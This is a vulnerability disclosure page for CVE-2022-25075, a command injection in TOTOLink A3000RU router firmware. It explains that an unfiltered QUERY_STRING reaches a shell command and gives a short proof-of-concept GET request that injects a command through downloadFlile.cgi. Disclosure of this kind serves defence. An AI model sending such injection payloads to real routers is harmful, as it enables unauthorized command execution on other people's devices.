Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-25075: IOT_vuln/README.md at main · EPhaha/IOT_vuln

TOTOLink A3000RU V5.9c.2280_B20180512 was discovered to contain a command injection vulnerability in the “Main” function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.

CVE
#vulnerability#web#mac#ubuntu#linux#git

Permalink

TOTOLink A3000RU V5.9c.2280_B20180512 Has an command injection vulnerability****Overview

  • Type: command injection vulnerability
  • Vendor: TOTOLINK (https://www.totolink.net/)
  • Products: WiFi Router, such as A3000RU V5.9c.2280_B20180512
  • **Firmware download address:**https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/168/ids/36.html

Description****1.Product Information:

TOTOLink A3000RU V5.9c.2280_B20180512 router, the latest version of simulation overview:

Figure 1 Update date of the latest version of the firmware

2. Vulnerability details

image-20220213002423745

TOTOLink A3000RU V5.9c.2280_B20180512 was discovered to contain a command injection vulnerability in the “Main” function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.

Figure 2 Local of the vulnerability

We can see that the os will get QUERY_STRING without filter splice to the string echo QUERY_STRING:%s >/tmp/download and execute it. So, If we can control the QUERY_STRING, it can be command injection.

3. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Boot the firmware by qemu-system or other ways (real machine)

  2. Attack with the following POC attacks

    GET /cgi-bin/downloadFlile.cgi?payload=ls>../1.txt HTTP/1.1 Host: 192.168.111.12 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

Figure 3 POC attack effect

Figure 4 POC attack effect

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907